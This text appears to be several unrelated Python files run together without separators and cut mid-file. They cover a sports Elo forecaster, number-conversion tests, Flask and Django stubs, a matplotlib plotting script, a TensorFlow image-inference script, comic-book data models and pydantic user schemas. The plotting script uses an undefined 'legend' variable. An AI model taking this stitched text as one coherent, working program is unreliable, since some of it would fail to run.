games.groupby('team_id').last()['fran_id'].to_dict() def create_elo_lookup(): elos = games.groupby("fran_id")['elo_n'].last() return elos.to_dict() def create_forecaster(elo_lookup,fran_lookup): return Forecaster(elo_lookup,fran_lookup) def apply_forecaster(forecaster,teams): forecast = forecaster.forecast(teams[0],teams[1]) return forecast elo_lookup = create_elo_lookup() fran_lookup = create_fran_lookup() f = create_forecaster(fran_lookup, elo_lookup) import pickle pickle.dump(f, open("audl_forecaster.pkl", "wb")) fprime = pickle.load(open("audl_forecaster.pkl", "rb")) print(apply_forecaster(fprime,['MAD','IND'])) from epicnumbers import __version__ from epicnumbers import main as en def test_version(): assert __version__ == '1.0.0' def test_string_to_int(): assert en.string_to_int("1") == 1 assert en.string_to_int("-2") == -2 assert en.string_to_int("0xa") == 10 assert en.string_to_int("0XA") == 10 assert en.string_to_int("0Xa") == 10 assert en.string_to_int("ah") == 10 assert en.string_to_int("10h") == 16 assert en.string_to_int("-10h") == -16 assert en.string_to_int("1b") == 1 assert en.string_to_int("0b10") == 2 assert en.string_to_int("b11") == 3 assert en.string_to_int("b-11") == -3 def test_as_8(): assert en.as_8(10, en.LITTLE_ENDIAN) == (10, 10, '\\x0a') assert en.as_8(-10, en.LITTLE_ENDIAN) == (-10, 246, '\\xf6') def test_as_16(): assert en.as_16(10, en.LITTLE_ENDIAN) == (10, 10, '\\x0a\\x00') assert en.as_16(-10, en.LITTLE_ENDIAN) == (-10, 65526, '\\xf6\\xff') def test_as_32(): assert en.as_32(10, en.LITTLE_ENDIAN) == (10, 10, '\\x0a\\x00\\x00\\x00') assert en.as_32(-10, en.LITTLE_ENDIAN) == (-10, 4294967286, '\\xf6\\xff\\xff\\xff') def test_as_64(): assert en.as_64(10, en.LITTLE_ENDIAN) == (10, 10, '\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00') assert en.as_64(-10, en.LITTLE_ENDIAN) == (-10, 18446744073709551606, '\\xf6\\xff\\xff\\xff\\xff\\xff\\xff\\xff') def test_format_binary(): assert en.format_binary(10) == "1010" assert en.format_binary(128) == "10000000" assert en.format_binary(256) == "1 00000000" Main.py0 ''' Multiple controllers: ''' from flask import Flask from rest_api import * import os app = Flask(__name__) app.register_blueprint(api) ''' @app.route("/") def hello(): return "Hello World!" ''' if __name__ == "__main__": host = os.environ.get('IP', '127.0.0.1') port = int(os.environ.get('PORT', 5000)) app.run(host= host, port = port, use_reloader = False) 0 from django.db import models from django.contrib.auth.models import User # Create your models here. class Dictionary(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE) word = models.CharField(max_length=200) defination = models.TextField() def __str__(self): return f'{self.word}' """ Script to create plots of Fig. 2 in the main paper This runs best in jupyter notebook """ import os import sys import numpy as np import torch import torch.nn as nn import torch.optim as optim import copy import json import cv2 import glob """ This data consists of the success rate of the 11 models in Fig. 2 in the main paper Each row contains the success rate for 1 model over 4 environmnetal conditions for multiple iterations [[i_0, i_1, i_2, i_3] for training, [i_0, i_1, i_2, i_3] for NW, [i_0, i_1, i_2, i_3] for NT, [i_0, i_1, i_2, i_3] for NTW] NW = New Weather, NT = New Town, NTW = New Town & Weather """ x = ['Iter 0', 'Iter 1', 'Iter 2', 'Iter 3'] models = [ [[71, 71, 71, 71], [72, 72, 72, 72], [41, 41, 41, 41], [43, 43, 43, 43]], [[45, 54, 63, 66], [39, 47, 51, 57], [23, 25, 34, 36], [26, 32, 31, 36]], [[45, 47, 63, 63], [39, 31, 48, 60], [23, 20, 22, 35], [26, 20, 27, 25]], [[26, 47, 60, 58], [23, 26, 47, 54], [17, 24, 24, 28], [16, 27, 27, 26]], [[26, 50, 51, 48], [23, 35, 39, 35], [17, 16, 23, 26], [16, 22, 23, 21]], [[45, 52, 57, 53], [39, 39, 40, 41], [23, 27, 30, 29], [26, 32, 32, 31]], [[26, 45, 45, 45], [23, 40, 40, 41], [17, 21, 24, 21], [16, 23, 24, 23]], [[45, 50, 48, 53], [39, 39, 44, 40], [23, 23, 26, 25], [26, 23, 26, 21]], [[26, 46, 46, 36], [23, 41, 39, 38], [17, 19, 22, 19], [16, 22, 24, 23]], [[45, 45, 45, 45], [39, 39, 39, 39], [23, 23, 23, 23], [26, 26, 26, 26]], [[26, 26, 26, 26], [23, 23, 23, 23], [17, 17, 17, 17], [16, 16, 16, 16]], ] # legend = ['cilrs', 'expert', 'darbpe', 'darbp', 'darb', 'dart', 'smilep', 'smile' 'daggerp', 'dagger', 'cilrsp'] # legend = ['CILRS', 'CILRS+', 'DAgger', 'DAgger+', 'SMILe', 'SMILe+', 'DART', 'DA-RB', 'DA-RB+', 'DA-RB+(E)', 'Expert'] # new_legend = [] # for i in range(1,12): # new_legend.append(legend[-i]) # new_legend import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec #Gridspec demo fig = plt.figure() fig.set_size_inches(18,12) fig.set_dpi(640) rows = 17 #the larger the number here, the smaller the spacing around the legend start1 = 1 end1 = int((rows-1)/2) start2 = end1 end2 = int(rows-1) gspec = gridspec.GridSpec(ncols=4, nrows=rows) axes = [] axes.append(fig.add_subplot(gspec[start1:end1,0:2])) axes.append(fig.add_subplot(gspec[start1:end1,2:4])) axes.append(fig.add_subplot(gspec[start2:end2,0:2])) axes.append(fig.add_subplot(gspec[start2:end2,2:4])) axes.append(fig.add_subplot(gspec[0,0:4])) # end2 here # line style & labels lines = [] for i in range(4): lines = [] for j in range(len(legend)): key = legend[j] if key == 'Expert': linestyle = '-' line, = axes[i].plot(x, models[j][i], linestyle=linestyle, color='black') elif key == 'CILRS' or key == 'CILRS+': linestyle = '-' line, = axes[i].plot(x, models[j][i], linestyle=linestyle) else: linestyle = '--' line, = axes[i].plot(x, models[j][i], linestyle=linestyle, marker='^') # axes[i].set_xlabel('Iteration') axes[i].set_ylabel('Success Rate', size='x-large') lines.append(line) axes[0].set_title('Training Conditions', fontsize='xx-large') axes[1].set_title('New Weather', fontsize='xx-large') axes[2].set_title('New Town', fontsize='xx-large') axes[3].set_title('New Town & Weather', fontsize='xx-large') for i in range(4): axes[i].tick_params(axis='x', labelsize=12) axes[i].tick_params(axis='y', labelsize=12) ''' lines = [] for i in range(len(legend)): key = legend[i] if key == 'CILRS' or key == 'CILRS+' or key == 'Expert': linestyle = '-' else: linestyle = '--' line, = axes[-1].plot(x, new_model[i], linestyle=linestyle) # print (line) lines.append(line) ''' # line, _ = axes[-1].plot(x, new_model) # handle, labels = ax[0,0].get_legend_handles_labels() axes[-1].legend(lines, legend, loc='center', ncol=11, mode='expand', fontsize='x-large') # create legend on bottommost axis axes[-1].set_axis_off() # don't show bottommost axis fig.tight_layout() plt.savefig('/is/sg2/aprakash/Dataset/plots.pdf') # plt.show() ''' import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec from collections import OrderedDict f, ax = plt.subplots(2,2) curr_id = 0 for i in range(2): for j in range(2): for i in range(len(legend)): key = legend[i] if key == 'CILRS' or key == 'CILRS+' or key == 'Expert': linestyle = '-' else: linestyle = '--' ax[i,j].plot(x, models[key][curr_id], linestyle=linestyle) curr_id += 1 ax[0,0].set_title('Training Conditions') ax[0,1].set_title('New Weather') ax[1,0].set_title('New Town') ax[1,1].set_title('New Town & Weather') for i in range(2): for j in range(2): ax[i,j].set_xlabel('Iteration') ax[i,j].set_ylabel('Success Rate') #legend = ['expert', 'darbpe', 'darbp', 'darb', 'dart', 'smilep', 'smile' 'daggerp', 'dagger', 'cilrsp', 'cilrs'] plt.legend(models.keys(), loc=8) plt.savefig('/is/sg2/aprakash/Dataset/plot.pdf') plt.show() '''oanaelenaa/artClassifier # Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Generic evaluation script that evaluates a model using a given dataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import math import tensorflow as tf import urllib2 from datasets import dataset_factory from nets import nets_factory from preprocessing import preprocessing_factory slim = tf.contrib.slim tf.app.flags.DEFINE_string( 'image_url', '', 'The url of the image to run an inference.') tf.app.flags.DEFINE_string( 'image_file', '', 'The name of the image to run an inference.') tf.app.flags.DEFINE_integer( 'batch_size', 1, 'The number of samples in each batch.') tf.app.flags.DEFINE_integer( 'max_num_batches', 1, 'Max number of batches to evaluate by default use all.') tf.app.flags.DEFINE_string( 'master', '', 'The address of the TensorFlow master to use.') tf.app.flags.DEFINE_string( 'checkpoint_path', '/tmp/tfmodel/', 'The directory where the model was written to or an absolute path to a ' 'checkpoint file.') tf.app.flags.DEFINE_string( 'eval_dir', '/tmp/tfmodel/', 'Directory where the results are saved to.') tf.app.flags.DEFINE_integer( 'num_preprocessing_threads', 4, 'The number of threads used to create the batches.') tf.app.flags.DEFINE_string( 'dataset_name', 'arts', 'The name of the dataset to load.') tf.app.flags.DEFINE_string( 'dataset_split_name', 'test', 'The name of the train/test split.') tf.app.flags.DEFINE_string( 'dataset_dir', None, 'The directory where the dataset files are stored.') tf.app.flags.DEFINE_integer( 'labels_offset', 0, 'An offset for the labels in the dataset. This flag is primarily used to ' 'evaluate the VGG and ResNet architectures which do not use a background ' 'class for the ImageNet dataset.') tf.app.flags.DEFINE_string( 'model_name', 'inception_v3', 'The name of the architecture to evaluate.') tf.app.flags.DEFINE_string( 'preprocessing_name', None, 'The name of the preprocessing to use. If left ' 'as `None`, then the model_name flag is used.') tf.app.flags.DEFINE_float( 'moving_average_decay', None, 'The decay to use for the moving average.' 'If left as None, then moving averages are not used.') tf.app.flags.DEFINE_integer( 'eval_image_size', 299, 'Eval image size') FLAGS = tf.app.flags.FLAGS def main(_): if not FLAGS.dataset_dir: raise ValueError('You must supply the dataset directory with --dataset_dir') tf.logging.set_verbosity(tf.logging.INFO) with tf.Graph().as_default(): tf_global_step = slim.get_or_create_global_step() ###################### # Select the dataset # ###################### dataset = dataset_factory.get_dataset( FLAGS.dataset_name, FLAGS.dataset_split_name, FLAGS.dataset_dir) #################### # Select the model # #################### network_fn = nets_factory.get_network_fn( FLAGS.model_name, num_classes=(dataset.num_classes - FLAGS.labels_offset), is_training=False) ##################################### # Select the preprocessing function # ##################################### preprocessing_name = FLAGS.preprocessing_name or FLAGS.model_name image_preprocessing_fn = preprocessing_factory.get_preprocessing( preprocessing_name, is_training=False) eval_image_size = FLAGS.eval_image_size or network_fn.default_image_size if FLAGS.image_url: try: resp = urllib2.urlopen(FLAGS.image_url) image_data_0 = resp.read() except: raise ValueError( 'The image url is invalid please verify the path and try again') elif FLAGS.image_file: image_data_0 = tf.gfile.FastGFile(FLAGS.image_file, 'rb').read() else: raise ValueError( 'You must supply an image url or image file for inference') image_0 = tf.image.decode_jpeg(image_data_0, channels=3) image = image_preprocessing_fn(image_0, eval_image_size, eval_image_size) label = 0 images, labels = tf.train.batch( [image, label], batch_size=1, num_threads=1, capacity=5) logits, _ = network_fn(images) tf.summary.image('inference_image', images) if FLAGS.moving_average_decay: variable_averages = tf.train.ExponentialMovingAverage( FLAGS.moving_average_decay, tf_global_step) variables_to_restore = variable_averages.variables_to_restore( slim.get_model_variables()) variables_to_restore[tf_global_step.op.name] = tf_global_step else: variables_to_restore = slim.get_variables_to_restore() predictions = tf.argmax(logits, 1) num_batches = 1 if tf.gfile.IsDirectory(FLAGS.checkpoint_path): checkpoint_path = tf.train.latest_checkpoint(FLAGS.checkpoint_path) else: checkpoint_path = FLAGS.checkpoint_path tf.logging.info('Restoring model checkpoint %s' % checkpoint_path) answer = slim.evaluation.evaluate_once( master=FLAGS.master, checkpoint_path=checkpoint_path, logdir=FLAGS.eval_dir, num_evals=num_batches, final_op=predictions, variables_to_restore=variables_to_restore) label_name = dataset.labels_to_names.get(answer[0]) print('Answer: %s' % label_name) if __name__ == '__main__': tf.app.run() from enum import Enum class SoftwareOperation(Enum): """Billing operation type (local program or online billing service)""" LOCAL_SOFTWARE = 'LOCAL_SOFTWARE' """Local program""" ONLINE_SERVICE = 'ONLINE_SERVICE' """Online billing service""" trebelge/XMLFileTypeState/NewInvoiceState.py # from __future__ import annotations from trebelge.XMLFileTypeState.AbstractXMLFileTypeState import AbstractXMLFileTypeState class NewInvoiceState(AbstractXMLFileTypeState): """ State methods Backreference to the Context object, associated with the State. """ def find_record_status(self): pass def initiate_new_record(self) -> None: pass __extension_version__ = "0.8.2" __extension_name__ = "pytket-braket" ''' This module defines the 'model' classes for the database described in db.py. That is, it defines classes to hold the data retrieved by the database's query methods. @author: ''' import re from utils import sstr import utils #============================================================================== class IssueRef(object): ''' This class contains minimal reference details about a single issue of a comic book in an unspecified series and database. It instantiates into a lightweight, immutable object, suitable for storing and sorting in large numbers in collections. ''' #=========================================================================== def __init__(self, issue_num_s, issue_key, title_s, thumb_url_s): ''' Initializes a newly created IssueRef, checking the given parameters to make sure they are legal, and then storing them as read-only properties. issue_key --> a database specific object (i.e. the 'memento' design pattern) that can be used by the database at a later date to unambiguously identify this comic book issue. This cannot be None, and it should have a useful __str__ method. It should also be unique for each comic book issue. issue_num_s --> a string describing this comic's issue number (which may not be a number at all, it can be '' or '1A' or 'A', etc. It cannot be None.) title_s --> a string describing the title of this comic book issue. if no title is available, pass in "" here. thumb_url_s --> the (http) url of an appropriate thumbnail image for this comic book issue (usually the cover.) if no image is available, pass in None here. ''' if not issue_key or len(sstr(issue_key).strip()) == 0 \ or issue_num_s is None: raise Exception() self.__issue_key = issue_key self.__issue_num_s = sstr(issue_num_s).strip() self.__title_s = title_s if utils.is_string(title_s) else "" # make sure thumb_url_s is either valid, or none (but not ''). self.__thumb_url_s =None if not thumb_url_s else sstr(thumb_url_s).strip() if self.__thumb_url_s == '': self.__thumb_url_s = None # used only for comparisons self._cmpkey_s = sstr(self.issue_key) #=========================================================================== # the 'number' of this IssueRef's issue, as a string. not None. maybe empty. issue_num_s = property( lambda self : self.__issue_num_s ) # the db key (i.e. a memento object) of this IssueRef's issue. not None. issue_key = property( lambda self : self.__issue_key ) # the title of this IssueRef's issue. not None, may be empty. title_s = property( lambda self : self.__title_s ) # the url of this series's thumbnail, as a string. may be None. thumb_url_s = property( lambda self : self.__thumb_url_s ) #=========================================================================== def __str__(self): ''' Implements "to string" functionality for standard python objects. ''' return "Issue #" + sstr(self.issue_num_s) \ + " (" + sstr(self.issue_key) + ")" #=========================================================================== def __cmp__(self, other): ''' Implements comparisons for standard python objects. ''' if not hasattr(other, "_cmpkey_s"): return -1 if self._cmpkey_s < other._cmpkey_s: return -1 else: return 1 if self._cmpkey_s > other._cmpkey_s else 0 #=========================================================================== def __hash__(self): ''' Implements the hash function for standard python objects. ''' return self._cmpkey_s.__hash__() #============================================================================== class SeriesRef(object): ''' This class contains minimal reference details about a series of comic books in an unspecified database. It instantiates into a lightweight, immutable object, suitable for storing and sorting in large numbers in collections. ''' #=========================================================================== def __init__(self, series_key, series_name_s, volume_year_n, publisher_s, issue_count_n, thumb_url_s): ''' Initializes a newly created SeriesRef, checking the given parameters to make sure they are legal, and then storing them as read-only properties. series_key --> a database specific object (i.e. the 'memento' design pattern) that can be used by the database at a later date to unambiguously identify this comic book series. This cannot be None, and it should have a useful __str__ method. It should also be unique for each series. series_name_s --> the name of this comic book series. If this is None (not recommended), the series_key will be converted to a string and used as the name instead. volume_year_n --> the first year that this comic book series was published. if the volume year is unknown, pass in '-1' here. this value can also be a string, if so it will be automatically parsed. publisher_s --> the name of the publisher/imprint of this comic book series. if the publisher is unknown, pass in '' here. issue_count_n --> the number of issues in this comic book series. this value can also be a string, if so it will be automatically parsed. thumb_url_s --> the (http) url of an appropriate thumbnail image for this comic book series (usually the cover of the first issue.) if no image is available, pass in None here. ''' # series_key != None, and must not convert to and empty/whitespace string. if not series_key or len(sstr(series_key).strip()) == 0: raise Exception() self.__series_key = series_key # use series_key as the series name if a meaningful one isn't provided self.__series_name_s = '' if not series_name_s \ else series_name_s.strip().replace(r'&', '&') if self.__series_name_s == '': self.__series_name_s = "Series " + sstr(self.__series_key) # make sure publisher_s is a string self.__publisher_s = '' if not publisher_s else sstr(publisher_s).strip() # make sure thumb_url_s is either valid, or none (but not ''). self.__thumb_url_s =None if not thumb_url_s else sstr(thumb_url_s).strip() if self.__thumb_url_s == '': self.__thumb_url_s = None # volume_year_n can be a string, as per method comment try: self.__volume_year_n = max(-1, int(volume_year_n)) except: self.__volume_year_n = -1; # issue_count_n can be a string, as per method comment try: self.__issue_count_n = max(0, int(issue_count_n)) except: self.__issue_count_n = 0; # used only for comparisons self._cmpkey_s = sstr(self.series_key) #=========================================================================== # the db key (i.e. a memento object) of this series. not None. series_key = property( lambda self : self.__series_key ) # the 'name' of this series, as a string. not None. series_name_s = property( lambda self : self.__series_name_s ) # the publisher/imprint of this series, as a string. not None, maybe ''. publisher_s = property( lambda self : self.__publisher_s ) # the url of this series's thumbnail, as a string. may be None. thumb_url_s = property( lambda self : self.__thumb_url_s ) # the first publication year of this series. an int >= -1; -1 means unknown. volume_year_n = property( lambda self : self.__volume_year_n ) # the number of issues in this series. an int >= 0. issue_count_n = property( lambda self : self.__issue_count_n ) #=========================================================================== def __str__(self): ''' Implements "to string" functionality for standard python objects. ''' return sstr(self.series_name_s) + " (" + sstr(self.series_key) + ")" #=========================================================================== def __cmp__(self, other): ''' Implements comparisons for standard python objects. ''' if not hasattr(other, "_cmpkey_s"): return -1 if self._cmpkey_s < other._cmpkey_s: return -1 else: return 1 if self._cmpkey_s > other._cmpkey_s else 0 #=========================================================================== def __hash__(self): ''' Implements the hash function for standard python objects. ''' return self._cmpkey_s.__hash__() #============================================================================== class Issue(object): ''' This class contains all the data that can be obtained about a single comic book. A database query will normally create an instance of this object, and then populate its properties with as much data as possible. All fields start out with valid default values. Properties in this object should always be accessed directly, i.e.: self.summary_s = "this is a summary" log.debug(self.webpage_s) ''' #=========================================================================== def __init__(self, ref): ''' Initializes a new Issue object. The given parameter must be an IssueRef object that references the same comic book (in the database) that this Issue object will be based on. Both objects share an issue_key. ''' # these all call the property setters defined below... self.issue_key = ref.issue_key self.series_key = '' self.issue_num_s = '' self.title_s = '' self.series_name_s = '' self.publisher_s = '' self.imprint_s = '' self.summary_s = '' self.webpage_s = '' self.pub_day_n = -1 self.pub_month_n = -1 self.pub_year_n = -1 self.rel_day_n = -1 self.rel_month_n = -1 self.rel_year_n = -1 self.volume_year_n = -1 self.rating_n = 0.0 self.crossovers_sl = [] self.characters_sl = [] self.teams_sl = [] self.locations_sl = [] self.writers_sl = [] self.pencillers_sl = [] self.inkers_sl = [] self.cover_artists_sl = [] self.editors_sl = [] self.colorists_sl = [] self.letterers_sl = [] self.image_urls_sl = [] # the external, unique db key of this Issue, as a string def __set_issue_key(self, issue_key): ''' called when you assign a value to 'self.issue_key' ''' self.__issue_key = '' if not issue_key else sstr(issue_key).strip(); self._cmpkey_s = self.__issue_key # used only for comparisons issue_key = property( lambda self : self.__issue_key, __set_issue_key ) # the external, unique db key of this Issue's series, as a string def __set_series_key(self, series_key): ''' called when you assign a value to 'self.series_key' ''' self.__series_key = '' if not series_key else sstr(series_key).strip(); series_key = property( lambda self : self.__series_key, __set_series_key ) # the 'number' of this Issue, as a string. not None. maybe '' or non-numeric. def __set_issue_num_s(self, issue_num_s): ''' called when you assign a value to 'self.issue_num_s' ''' self.__issue_num_s = '' if issue_num_s == None else sstr(issue_num_s) issue_num_s = property( lambda self : self.__issue_num_s, __set_issue_num_s ) # the title of this Issue, as a string. not None. maybe empty. def __set_title_s(self, title_s): ''' called when you assign a value to 'self.title_s' ''' self.__title_s = '' if title_s == None else sstr(title_s) title_s = property( lambda self : self.__title_s, __set_title_s ) # the series name of this Issue, as a string. not None. maybe empty. def __set_series_name_s(self, series_name_s): ''' called when you assign a value to 'self.series_name_s' ''' self.__series_name_s= '' if series_name_s == None else sstr(series_name_s) series_name_s = property( lambda self : self.__series_name_s, __set_series_name_s ) # the publisher for this Issue, as a string. not None. maybe empty. def __set_publisher_s(self, publisher_s): ''' called when you assign a value to 'self.publisher_s' ''' self.__publisher_s = '' if publisher_s == None else sstr(publisher_s) publisher_s = property( lambda self : self.__publisher_s, __set_publisher_s ) # the imprint for this Issue, as a string. not None. maybe empty. def __set_imprint_s(self, imprint_s): ''' called when you assign a value to 'self.imprint_s' ''' self.__imprint_s = '' if imprint_s == None else sstr(imprint_s) imprint_s = property( lambda self : self.__imprint_s, __set_imprint_s ) # the summary/description for this Issue, as a string. not None. maybe empty. def __set_summary_s(self, summary_s): ''' called when you assign a value to 'self.summary_s' ''' self.__summary_s = '' if summary_s == None else sstr(summary_s) summary_s = property( lambda self : self.__summary_s, __set_summary_s ) # the webpage url for this Issue, as a string. not None. maybe empty. def __set_webpage_s(self, webpage_s): ''' called when you assign a value to 'self.webpage_s' ''' self.__webpage_s = '' if webpage_s == None else sstr(webpage_s) webpage_s = property( lambda self : self.__webpage_s, __set_webpage_s ) # the publication day for this Issue, as an int. not None. # will always be <= 31 and >= 1, or else -1 for unknown. def __set_pub_day_n(self, pub_day_n): ''' called when you assign a value to 'self.pub_day_n' ''' try: self.__pub_day_n = int(pub_day_n) self.__pub_day_n = self.__pub_day_n \ if (1 <= self.__pub_day_n <= 31) else -1 except: self.__pub_day_n = -1 pub_day_n = property( lambda self : self.__pub_day_n, __set_pub_day_n ) # the publication month for this Issue, as an int. not None. # will always be <= 12 and >= 1, or else -1 for unknown. def __set_pub_month_n(self, pub_month_n): ''' called when you assign a value to 'self.pub_month_n' ''' try: self.__pub_month_n = int(pub_month_n) self.__pub_month_n = self.__pub_month_n \ if (1 <= self.__pub_month_n <= 12) else -1 except: self.__pub_month_n = -1 pub_month_n = property( lambda self : self.__pub_month_n, __set_pub_month_n ) # the publication year for this Issue, as an int. not None. # will always be >= 0 or else -1 for unknown. def __set_pub_year_n(self, pub_year_n): ''' called when you assign a value to 'self.pub_year_n' ''' try: self.__pub_year_n = int(pub_year_n) self.__pub_year_n = self.__pub_year_n if self.__pub_year_n >= 0 else -1 except: self.__pub_year_n = -1 pub_year_n = property( lambda self : self.__pub_year_n, __set_pub_year_n ) # the release (in store) day for this Issue, as an int. not None. # will always be <= 31 and >= 1, or else -1 for unknown. def __set_rel_day_n(self, rel_day_n): ''' called when you assign a value to 'self.rel_day_n' ''' try: self.__rel_day_n = int(rel_day_n) self.__rel_day_n = self.__rel_day_n \ if (1 <= self.__rel_day_n <= 31) else -1 except: self.__rel_day_n = -1 rel_day_n = property( lambda self : self.__rel_day_n, __set_rel_day_n ) # the release (in store) month for this Issue, as an int. not None. # will always be <= 12 and >= 1, or else -1 for unknown. def __set_rel_month_n(self, rel_month_n): ''' called when you assign a value to 'self.rel_month_n' ''' try: self.__rel_month_n = int(rel_month_n) self.__rel_month_n = self.__rel_month_n \ if (1 <= self.__rel_month_n <= 12) else -1 except: self.__rel_month_n = -1 rel_month_n = property( lambda self : self.__rel_month_n, __set_rel_month_n ) # the release (in store) year for this Issue, as an int. not None. # will always be >= 0 or else -1 for unknown. def __set_rel_year_n(self, rel_year_n): ''' called when you assign a value to 'self.rel_year_n' ''' try: self.__rel_year_n = int(rel_year_n) self.__rel_year_n = self.__rel_year_n if self.__rel_year_n >= 0 else -1 except: self.__rel_year_n = -1 rel_year_n = property( lambda self : self.__rel_year_n, __set_rel_year_n ) # the FIRST publication year for this Issue, as an int. not None. # will always be >= 0 or else -1 for unknown. def __set_volume_year_n(self, volume_year_n): ''' called when you assign a value to 'self.volume_year_n' ''' try: self.__volume_year_n = int(volume_year_n) self.__volume_year_n = self.__volume_year_n \ if self.__volume_year_n >= 0 else -1 except: self.__volume_year_n = -1 volume_year_n = property( lambda self: self.__volume_year_n, __set_volume_year_n) # the (quality) rating for this Issue, as an float. not None. # will always be >= 0.0 and <= 5.0. def __set_rating_n(self, rating_n): ''' called when you assign a value to 'self.rating_n' ''' try: self.__rating_n = float(rating_n) self.__rating_n = self.__rating_n \ if (0.0 <= self.__rating_n <= 5.0) else 0.0 except: self.__rating_n = 0.0 rating_n = property(lambda self: self.__rating_n, __set_rating_n) # the crossover titles for this Issue, as a [] of strings. not None. # maybe empty. the strings in the [] will not be None or '', either. def __set_crossovers_sl(self, crossovers_sl): ''' called when you assign a value to 'self.crossovers_sl' ''' try: self.__crossovers_sl = \ [sstr(x) for x in crossovers_sl if x and len(sstr(x).strip())>0] except: self.__crossovers_sl = [] crossovers_sl = property(lambda self: self.__crossovers_sl, __set_crossovers_sl) # the characters in this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_characters_sl(self, characters_sl): ''' called when you assign a value to 'self.characters_sl' ''' try: self.__characters_sl = [ re.sub(r',|;', '', sstr(x)) for x in characters_sl if x and len(sstr(x).strip())>0 ] except: self.__characters_sl = [] characters_sl =\ property(lambda self: self.__characters_sl, __set_characters_sl) # the teams in this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_teams_sl(self, teams_sl): ''' called when you assign a value to 'self.teams_sl' ''' try: self.__teams_sl = [ re.sub(r',|;', '', sstr(x)) for x in teams_sl if x and len(sstr(x).strip())>0 ] except: self.__teams_sl = [] teams_sl = property(lambda self: self.__teams_sl, __set_teams_sl) # the locations in this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_locations_sl(self, locations_sl): ''' called when you assign a value to 'self.locations_sl' ''' try: self.__locations_sl = [ re.sub(r',|;', '', sstr(x)) for x in locations_sl if x and len(sstr(x).strip())>0 ] except: self.__locations_sl = [] locations_sl = property(lambda self: self.__locations_sl, __set_locations_sl) # the writers for this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_writers_sl(self, writers_sl): ''' called when you assign a value to 'self.writers_sl' ''' try: self.__writers_sl = [ re.sub(r',|;', '', sstr(x)) for x in writers_sl if x and len(sstr(x).strip())>0 ] except: self.__writers_sl = [] writers_sl = property(lambda self: self.__writers_sl, __set_writers_sl) # the pencillers for this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_pencillers_sl(self, pencillers_sl): ''' called when you assign a value to 'self.pencillers_sl' ''' try: self.__pencillers_sl = [ re.sub(r',|;', '', sstr(x)) for x in pencillers_sl if x and len(sstr(x).strip())>0 ] except: self.__pencillers_sl = [] pencillers_sl = \ property(lambda self: self.__pencillers_sl, __set_pencillers_sl) # the inkers for this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_inkers_sl(self, inkers_sl): ''' called when you assign a value to 'self.inkers_sl' ''' try: self.__inkers_sl = [ re.sub(r',|;', '', sstr(x)) for x in inkers_sl if x and len(sstr(x).strip())>0 ] except: self.__inkers_sl = [] inkers_sl = property(lambda self: self.__inkers_sl, __set_inkers_sl) # the cover artists for this Issue, as a [] of strings. not None. # maybe empty. the strings in the [] will not be None or '', either. def __set_cover_artists_sl(self, cover_artists_sl): ''' called when you assign a value to 'self.cover_artists_sl' ''' try: self.__cover_artists_sl = [ re.sub(r',|;', '', sstr(x)) for x in cover_artists_sl if x and len(sstr(x).strip())>0 ] except: self.__cover_artists_sl = [] cover_artists_sl = property(lambda self: self.__cover_artists_sl, __set_cover_artists_sl) # the editors for this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_editors_sl(self, editors_sl): ''' called when you assign a value to 'self.editors_sl' ''' try: self.__editors_sl = [ re.sub(r',|;', '', sstr(x)) for x in editors_sl if x and len(sstr(x).strip())>0 ] except: self.__editors_sl = [] editors_sl = property(lambda self: self.__editors_sl, __set_editors_sl) # the colorists for this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_colorists_sl(self, colorists_sl): ''' called when you assign a value to 'self.colorists_sl' ''' try: self.__colorists_sl = [ re.sub(r',|;', '', sstr(x)) for x in colorists_sl if x and len(sstr(x).strip())>0 ] except: self.__colorists_sl = [] colorists_sl = property(lambda self: self.__colorists_sl, __set_colorists_sl) # the letterers for this Issue, as a [] of strings. not None. maybe empty. # the strings in the [] will not be None or '', either. def __set_letterers_sl(self, letterers_sl): ''' called when you assign a value to 'self.letterers_sl' ''' try: self.__letterers_sl = [ re.sub(r',|;', '', sstr(x)) for x in letterers_sl if x and len(sstr(x).strip())>0 ] except: self.__letterers_sl = [] letterers_sl = property(lambda self: self.__letterers_sl, __set_letterers_sl) # the known cover image urls for this Issue, as a [] of strings. not None. # maybe empty. the strings in the [] will not be None or '', either. def __set_image_urls_sl(self, image_urls_sl): ''' called when you assign a value to 'self.image_urls_sl' ''' try: self.__image_urls_sl =\ [ sstr(x) for x in image_urls_sl if x and len(sstr(x).strip())>0 ] except: self.__image_urls_sl = [] image_urls_sl = \ property(lambda self: self.__image_urls_sl, __set_image_urls_sl) #=========================================================================== def __str__(self): ''' Implements "to string" functionality for standard python objects. ''' return "Issue Object (" + sstr(self.issue_key) + ")" #=========================================================================== def __cmp__(self, other): ''' Implements comparisons for standard python objects. ''' if not hasattr(other, "_cmpkey_s"): return -1 if self._cmpkey_s < other._cmpkey_s: return -1 else: return 1 if self._cmpkey_s > other._cmpkey_s else 0 #=========================================================================== def __hash__(self): ''' Implements the hash function for standard python objects. ''' return self._cmpkey_s.__hash__() appcations/users/schemas.py from typing import List, Optional from pydantic import BaseModel from . import models from core.serializer import modelSerializer class UserBase(BaseModel): username: str email: str name: str= None company: str= None department: str= None address: str= None class UserCreate(UserBase): password: str is_active: bool= True # is_super: bool = False class UserUpdate(BaseModel): email:str = None company: Optional[str]= None department: Optional[str]= None password: str = None name: str= None is_active: bool= True class 